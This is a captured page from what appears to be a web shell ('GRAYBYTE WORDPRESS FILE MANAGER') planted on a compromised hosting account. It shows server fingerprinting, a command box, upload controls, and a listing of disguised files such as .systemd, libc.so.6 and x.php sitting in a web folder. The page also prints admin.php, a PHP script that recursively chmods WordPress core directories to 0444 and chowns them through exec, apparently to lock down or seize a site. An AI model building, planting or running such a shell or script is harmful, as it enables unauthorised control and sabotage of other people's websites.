GRAYBYTE WORDPRESS FILE MANAGER9038

Server IP : 162.254.39.133 / Your IP : 216.73.216.176
System : Linux premium287.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
PHP Version : 8.1.33
Disable Function : mail
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/aircyqqr/optiairductscleaningexperts.com/fix/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/aircyqqr/optiairductscleaningexperts.com/fix//admin.php
<?php
// Configuration
$targetDir = '/home4/hotelthe';
$logFile = '/var/log/permission_script.log'; // Proper log file path
$includeDirs = ['wp-admin', 'wp-content', 'wp-includes']; // Directories to process

// Function to log messages
function logMessage($message, $logFile) {
    $timestamp = date('Y-m-d H:i:s');
    if (is_writable($logFile) || is_writable(dirname($logFile))) {
        file_put_contents($logFile, "[$timestamp] $message\n", FILE_APPEND);
    } else {
        error_log("[$timestamp] $message");
    }
}

// Auto-detect web server user
$webServerUser = posix_getpwuid(posix_geteuid())['name'] ?? '';
if (empty($webServerUser)) {
    $error = "Failed to detect web server user.";
    logMessage($error, $logFile);
    die($error);
}

// Auto-detect owner user of target directory
try {
    $ownerUid = @fileowner($targetDir);
    $ownerUser = $ownerUid !== false ? posix_getpwuid($ownerUid)['name'] : 'unknown';
} catch (Exception $e) {
    $error = "Failed to detect owner of $targetDir: " . $e->getMessage();
    logMessage($error, $logFile);
    die($error);
}

// Validate target directory
if (!is_dir($targetDir)) {
    $error = "Directory $targetDir does not exist or is not a directory.";
    logMessage($error, $logFile);
    die($error);
}

// Check if directory is within allowed path
$allowedBase = '/home4/hotelthe/';
if (strpos(realpath($targetDir) ?: '', realpath($allowedBase)) !== 0) {
    $error = "Unauthorized access: $targetDir is outside allowed path $allowedBase.";
    logMessage($error, $logFile);
    die($error);
}

// Check if directory is readable
if (!is_readable($targetDir)) {
    $error = "Cannot read $targetDir: Permission denied. Try running with sudo.";
    logMessage($error, $logFile);
    die($error);
}

// Initialize RecursiveIterator to find target directories
try {
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($targetDir, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST,
        RecursiveIteratorIterator::CATCH_GET_CHILD // Skip inaccessible subdirectories
    );
} catch (Exception $e) {
    $error = "Failed to initialize iterator for $targetDir: " . $e->getMessage();
    logMessage($error, $logFile);
    die($error);
}

// Process only specified directories
$successCount = 0;
$errorCount = 0;

// Collect target directories
$targetPaths = [];
foreach ($iterator as $item) {
    $path = $item->getPathname();
    if ($item->isDir() && in_array(basename($path), $includeDirs)) {
        $targetPaths[] = $path;
    }
}

// Process each target directory up to depth 2
foreach ($targetPaths as $fullPath) {
    // Set permissions on the top-level directory
    try {
        if (!is_readable($fullPath)) {
            logMessage("Skipping $fullPath: Not readable", $logFile);
            $errorCount++;
            continue;
        }
        if (@chmod($fullPath, 0444)) {
            logMessage("Set $fullPath to 444", $logFile);
            $successCount++;
        } else {
            logMessage("Failed to set $fullPath to 444: Permission denied", $logFile);
            $errorCount++;
            continue;
        }
    } catch (Exception $e) {
        logMessage("Error processing $fullPath: " . $e->getMessage(), $logFile);
        $errorCount++;
        continue;
    }

    // Process contents up to depth 2
    try {
        $depthIterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($fullPath, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST,
            RecursiveIteratorIterator::CATCH_GET_CHILD
        );
        $depthIterator->setMaxDepth(1); // Limit to immediate subdirectories and files (depth 2 from $fullPath)

        foreach ($depthIterator as $item) {
            $path = $item->getPathname();
            try {
                if (!is_readable($path)) {
                    logMessage("Skipping $path: Not readable", $logFile);
                    $errorCount++;
                    continue;
                }
                if (@chmod($path, 0444)) {
                    logMessage("Set $path to 444", $logFile);
                    $successCount++;
                } else {
                    logMessage("Failed to set $path to 444: Permission denied", $logFile);
                    $errorCount++;
                    continue;
                }
            } catch (Exception $e) {
                logMessage("Error processing $path: " . $e->getMessage(), $logFile);
                $errorCount++;
                continue;
            }
        }
    } catch (Exception $e) {
        logMessage("Failed to initialize iterator for $fullPath: " . $e->getMessage(), $logFile);
        $errorCount++;
        continue;
    }

    // Set ownership for the directory
    try {
        exec("chown -R " . escapeshellarg($ownerUser) . ":" . escapeshellarg($webServerUser) . " " . escapeshellarg($fullPath) . " --no-dereference 2>&1", $output, $returnVar);
        if ($returnVar === 0) {
            logMessage("Set ownership of $fullPath to $ownerUser:$webServerUser", $logFile);
        } else {
            logMessage("Failed to set ownership of $fullPath: " . implode("\n", $output), $logFile);
            $errorCount++;
        }
    } catch (Exception $e) {
        logMessage("Error setting ownership of $fullPath: " . $e->getMessage(), $logFile);
        $errorCount++;
    }
}

// Output result
$result = "Processed $successCount items successfully, $errorCount errors. Check $logFile for details.";
logMessage($result, $logFile);
echo $result;
?>

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
November 03 2025 02:31:03
aircyqqr / nobody
0750
backup-wp
--
October 30 2025 05:42:11
aircyqqr / aircyqqr
0755
backup-zip
--
October 30 2025 05:35:00
aircyqqr / aircyqqr
0755
datastore
--
October 30 2025 05:51:07
aircyqqr / aircyqqr
0755
wp-back
--
October 30 2025 05:47:57
aircyqqr / aircyqqr
0755
.systemd
74.614 KB
October 27 2025 00:38:48
aircyqqr / aircyqqr
0644
.wp-bak.bz2
74.614 KB
October 27 2025 00:38:48
aircyqqr / aircyqqr
0644
admin.php
5.476 KB
October 27 2025 01:04:58
aircyqqr / aircyqqr
0644
index.php
6.806 KB
October 27 2025 00:38:39
aircyqqr / aircyqqr
0644
libc.so.6
74.614 KB
October 27 2025 00:38:48
aircyqqr / aircyqqr
0644
x.php
6.806 KB
October 27 2025 00:38:19
aircyqqr / aircyqqr
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF